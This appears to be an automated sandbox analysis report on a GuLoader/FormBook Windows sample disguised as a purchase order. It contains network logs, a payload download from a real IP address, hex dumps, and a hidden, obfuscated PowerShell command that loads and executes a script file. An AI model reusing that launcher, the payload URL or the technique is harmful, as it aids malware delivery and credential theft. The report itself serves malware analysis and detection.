Dec 10, 2024 10:33:50.968106031 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.968317032 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.969408989 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.969468117 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.969480991 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.969532013 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.970839024 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.970891953 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.970959902 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.971009016 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.972233057 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.972317934 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.972402096 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.973634005 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.973723888 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.973750114 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.973786116 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.975019932 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.975146055 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.975228071 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.975440979 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.976444006 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.976547003 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.976696968 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.976748943 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.977829933 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.977901936 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.977933884 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.977960110 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.979356050 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.979423046 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.979542017 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.979651928 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.980652094 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.980722904 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.980742931 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.980808020 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.982069016 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.982127905 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.982145071 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.982213974 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.983481884 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.983584881 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.983772993 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.984863997 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.984934092 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.984992027 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.985127926 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.986332893 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.986388922 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.986505032 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.986571074 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.987782955 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.987838030 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.987869024 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.987905025 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.989147902 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.989268064 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.989284039 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.989317894 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:34:06.783209085 CET	49967	80	192.168.2.6	212.162.149.89

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 10:32:38.769258022 CET	1.1.1.1	192.168.2.6	0x8e39	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 10:32:38.769258022 CET	1.1.1.1	192.168.2.6	0x8e39	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Dec 10, 2024 10:32:38.769258022 CET	1.1.1.1	192.168.2.6	0x8e39	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 10, 2024 10:32:56.850608110 CET	1.1.1.1	192.168.2.6	0xefc2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 10, 2024 10:32:56.850608110 CET	1.1.1.1	192.168.2.6	0xefc2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

212.162.149.89

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49967	212.162.149.89	80	7876	C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 10:33:49.010252953 CET	175	OUT	GET /KSMZNlmay152.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: 212.162.149.89 Cache-Control: no-cache
Dec 10, 2024 10:33:50.166053057 CET	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 10 Dec 2024 08:16:49 GMT Accept-Ranges: bytes ETag: "f64c43dcdb4adb1:0" Server: Microsoft-IIS/8.5 Date: Tue, 10 Dec 2024 09:33:50 GMT Content-Length: 288320 Data Raw: 79 65 9c 1b 2a 0a 1c d6 7a ee 1c 4e 26 a7 30 e9 f9 de 6f 93 eb 87 50 79 ca 28 4a 54 8d 34 6d 1e 3e b7 a5 9c c5 09 d0 e8 6d 7c 2d 00 a8 cf d2 09 69 38 42 0b 26 45 d7 f6 5f c5 8a 38 b8 48 51 d3 ef 83 26 81 3c 4b 5e 74 59 d7 5a 7f 31 0e a3 1d ac 26 f4 ce d1 a5 66 81 41 1f 63 80 26 71 17 c8 9b 49 ad 80 50 90 b1 1b cc b0 ba 96 49 65 79 ba d0 c1 b2 e7 98 e3 ad ce 85 37 43 ba e9 eb 96 55 6b 5e 54 ac 51 42 e9 ce 60 f1 c5 97 5f a8 80 b0 f9 25 76 2a 18 15 8c 3b 0a 6c c4 48 bb ed 64 4d 5d 86 ba 5b 4c af 36 57 91 3c a3 fb 0c 6c 86 e1 c9 ad 24 a7 dc 9c 86 87 86 d6 d0 28 10 cb 2c 2d e7 9d d9 82 8b 5f 2d 69 04 c9 24 d5 17 0e 4c 9e 4b 00 47 29 c0 96 41 06 f5 a5 6e 19 7a 79 87 c6 bb df 82 bc 8b 10 73 a0 3f 9d e5 53 81 3e 15 b7 7e f7 b7 4c a9 cb ee 57 41 7d 80 d8 88 8c 8f ed ac 8e 33 fa 9a 05 1b ce 63 16 36 72 5a d4 8d 1f e4 07 96 b0 f7 0f 17 05 41 f8 90 5d dc fe 7b 86 67 10 28 1a 47 e1 35 c8 1c 18 3c 1f 2b 42 a3 e9 02 6b 56 7f f3 04 ce 3c 69 79 aa da df f9 b5 78 08 fb 5d 2d bf d0 b1 08 b3 af 42 2c 51 d0 a9 a4 24 d0 [TRUNCATED] Data Ascii: yezN&0oPy(JT4m>m\|-i8B&E_8HQ&<K^tYZ1&fAc&qIPIey7CUk^TQB`_%v;lHdM][L6W<l$(,-_-i$LKG)Anzys?S>~LWA}3c6rZA]{g(G5<+BkV<iyx]-B,Q$hEjBqXdnA"U}FWd/.a=sR@xfp^jibT>z8K=}W(=_-9Qi6dZ%U@ZgIw?~u@+dU4[uhp){O>kI!oz=uo2FY#({_ZwfFzo5l<$XgyKhO4>;t-o+X,?^oW%&c]&6E;Thjmu9xZQAa^V j6L;U20[cG:iSo28WUwyPMN`.^3C46;PP;\|r[MFJ@\jm~N_h^y,>N){wM%[f79pj.+Tg4\|`% <czbF%^IHD@xJ?fVUP&cRApZB4{]Y
Dec 10, 2024 10:33:50.166100979 CET	1236	IN	Data Raw: ab 33 a6 d9 c4 a9 55 1c 88 e4 f7 84 06 53 7f 76 04 49 32 d6 08 fd 10 1e fa 88 e0 71 da 56 f7 99 9d cb 38 7f a1 ad c5 1a 89 d9 bf 82 22 29 3c 50 a3 66 65 93 da 30 63 fb b5 3a 76 0a ba 6d 6e 00 85 08 d1 e3 ad e4 07 44 57 d9 8d 40 4c ac 81 51 85 7c Data Ascii: 3USvI2qV8")<Pfe0c:vmnDW@LQ\|$H;zrEXYv1bQf\hK<3\|*Y-.u7]VHM/,7BI-5LD3{VLbXR)!BYEBJ?
Dec 10, 2024 10:33:50.166114092 CET	1236	IN	Data Raw: b1 8d b5 df d4 b9 46 d9 e2 a6 59 9d 8b 23 06 28 9a 7b 13 5f 5a 1f 77 90 b7 66 1c be 46 c7 7a 86 10 6f 35 0a 6c 3c 24 58 99 f7 d9 ac b6 b7 1b 67 c3 8b ec 90 79 b7 fb 4b 68 4f 34 ab 2a 3e 87 a5 3b 85 c6 74 1b 2d d3 fa 6f b7 2b 0e f2 ee 58 2c cd 3f Data Ascii: FY#({_ZwfFzo5l<$XgyKhO4>;t-o+X,?^oW%&c]&6E;Thjmu9xZQAa^V j6L;U20[cG:iSo28WUwyPMN`.^3C46;PP;\|r[MFJ
Dec 10, 2024 10:33:50.166194916 CET	1236	IN	Data Raw: a2 d6 d0 28 10 cb 2c 2d 9e 9c d0 22 b6 3f 4a 9a 39 a9 43 26 2a 6e 2b 6d 51 a6 ef da fa f6 26 f5 ef 03 c4 ea 46 19 e0 35 a1 79 29 4f b7 70 14 53 6d f4 86 3b bc 5e 72 44 7e f7 b7 4c a9 cb ee 57 11 38 80 d8 c4 8d 8e ed 43 c6 76 ad 9a 05 1b ce 63 16 Data Ascii: (,-"?J9C&*n+mQ&F5y)OpSm;^rD~LW8Cvc6r[A]{(G5h8+B{V<oyx]-F,Q$(EjBaXdnA"U}FWd/.a=sR@xfp^jib
Dec 10, 2024 10:33:50.166205883 CET	896	IN	Data Raw: bc 78 be b4 ad 5b b9 d4 61 bd 05 0b 28 a6 6b 3a 8b 9e 01 28 f8 79 76 dc d0 91 c4 0f 59 95 a4 c7 00 d5 c7 73 4c d6 6a 5f 52 73 59 53 35 00 af dc e4 77 8e 65 1a 61 0a 99 2e 93 32 c6 99 0d fa 5a 2a aa 2d 41 29 20 9c 1a 21 91 45 41 2a 2c 6d 32 33 a2 Data Ascii: x[a(k:(yvYsLj_RsYS5wea.2Z-A) !EA,m23!2nMs}M>8_,FX/+yD;Ca_Yz$M.AUk/}q.(%lnd.+):g4mI3s $RE6O$\|B'
Dec 10, 2024 10:33:50.196058035 CET	1236	IN	Data Raw: 5f 94 29 59 d1 ab e6 d5 20 07 51 7e 06 bb 50 c7 1e 43 f9 c6 ab 97 82 e1 97 8a c6 bf e1 0b a2 99 84 d8 c1 97 e0 bf d0 95 32 55 6e b9 46 31 ad 51 80 a5 e2 cb b3 26 c2 96 d7 77 1f 07 4c 77 b3 76 6f ed b9 07 7d 9e a5 55 ef eb 25 b5 07 d7 d7 19 c5 1c Data Ascii: _)Y Q~PC2UnF1Q&wLwvo}U%vw@UxjZ>(DGce^S6oc~JC5W>\[PT8:nGylM%W3dn]zgFL{n1?RIv^IE
Dec 10, 2024 10:33:50.196206093 CET	224	IN	Data Raw: fc 20 ef 06 e1 6d 7e ee 5b fb be 07 a3 86 9f 46 2d d3 a2 51 df f1 cc 33 f4 20 03 6b fa 94 e0 cf e7 a9 29 b3 23 7e b0 87 35 5f 78 79 aa a6 00 3e 30 fc f3 04 a2 2d 91 d4 b1 b0 e8 c4 46 2c c8 51 4b a3 27 12 ce 40 a4 8a e8 63 6a 76 35 69 d2 c9 be c3 Data Ascii: m~[F-Q3 k)#~5_xy>0-F,QK'@cjv5i+8+;sdI;Zy}=AcM^.7^c$JtHKi=FKCrCtB`x`-7#*
Dec 10, 2024 10:33:50.196214914 CET	1236	IN	Data Raw: b7 00 1b 20 92 5e fc 45 13 01 31 95 86 5b c0 fb b6 15 2c 20 37 43 36 75 5a d9 5c 15 dc 26 70 6e cb 5e 0e 0f 58 25 8f d8 82 2e 8f d0 fa 35 b0 1e fa ea 6e f3 e8 09 b7 64 f5 a1 67 65 e7 8d 43 0c 29 79 1f d6 0d 48 09 c4 7c e5 67 3e 06 86 ea c2 61 19 Data Ascii: ^E1[, 7C6uZ\&pn^X%.5ndgeC)yH\|g>arnv2Cw=wR\|FrU-zP!5y~/S{gBaASXz>_A0[ bs/Lhj-,YcA<i8' 5
Dec 10, 2024 10:33:50.196260929 CET	1236	IN	Data Raw: 08 63 80 5a ac 9c 9d 8b c2 2f 1c 50 90 b1 53 9c da bb c4 a1 f7 6b ba d0 4a e7 f7 1b 27 a1 44 4d 04 83 51 57 66 0d 55 65 41 ee 98 dd e6 1c 03 41 49 b0 dc d2 b2 17 ae 62 bd 54 68 a3 f1 b6 8d ee da 90 0b 57 27 2e 22 29 a6 d8 86 53 db a4 5a 46 be 0c Data Ascii: cZ/PSkJ'DMQWfUeAAIbThW'.")SZF!NOC\|_5={88CSkcXU:khY;@;/u+Ll7;rq`'vq{@.5V4)T{ (N7I;b`\bwV@4p
Dec 10, 2024 10:33:50.196273088 CET	1236	IN	Data Raw: 5a b3 9f 06 80 e2 43 fa 39 eb 39 1f 18 d1 9a 4b b3 24 a0 88 5e 4b d0 9f 33 2a c3 03 d9 b9 a6 71 c9 66 4c 6f 03 25 27 d5 73 9f 8f 0c 3a 39 c8 6d 37 e1 ad cf 63 b4 af 47 aa cd 5f e5 ea e4 96 45 c7 43 98 2f 43 53 1e e8 13 b5 f3 90 5e ba 42 ef 55 78 Data Ascii: ZC99K$^K3qfLo%'s:9m7cG_EC/CS^BUxh]"wb:6ME!Dd02$ndR>%n5v`>TAn}G]w+kZ>P9 Gf`K_T7x@J[=$t+
Dec 10, 2024 10:33:50.285798073 CET	1236	IN	Data Raw: e5 91 8e c5 41 9c 83 8a c8 0d 9f 3c 70 a8 69 33 a3 e9 d8 04 5a d8 f1 a5 45 38 10 2e 3f 1e 58 f7 e2 d7 77 89 75 ed 1c 7e 68 b6 81 e7 4d 66 5a 34 7b 3c 96 51 8b d0 66 54 79 d9 fe e7 c9 42 5a fc 42 a4 ce 2e 74 81 68 dd 28 a1 40 35 2b 42 c4 a9 55 1c Data Ascii: A<pi3ZE8.?Xwu~hMfZ4{<QfTyBZB.th(@5+BU0?L rY?A<AdL}Q9-m"A@L\Ozm$0>\l+I^zrv!MXf\3R0*?4unoM

Target ID:	0
Start time:	04:32:04
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\PO. A-72 9234567.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO. A-72 9234567.exe"
Imagebase:	0x400000
File size:	798'970 bytes
MD5 hash:	3454DF1E0AC8785872448AA049B8D91E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	04:32:04
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -windowstyle hidden "$Forvaltningslovens=gc -raw 'C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Sttemder73.Uns';$Passagerskibe=$Forvaltningslovens.SubString(72100,3);.$Passagerskibe($Forvaltningslovens)
Imagebase:	0xc30000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.3116482751.000000000AE52000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	04:32:04
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	04:32:34
Start date:	10/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	14
Start time:	04:33:37
Start date:	10/12/2024
Path:	C:\Users\user\AppData\Local\Temp\Notanencephalia.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Notanencephalia.exe"
Imagebase:	0x400000
File size:	798'970 bytes
MD5 hash:	3454DF1E0AC8785872448AA049B8D91E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3372446801.000000001F9D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	true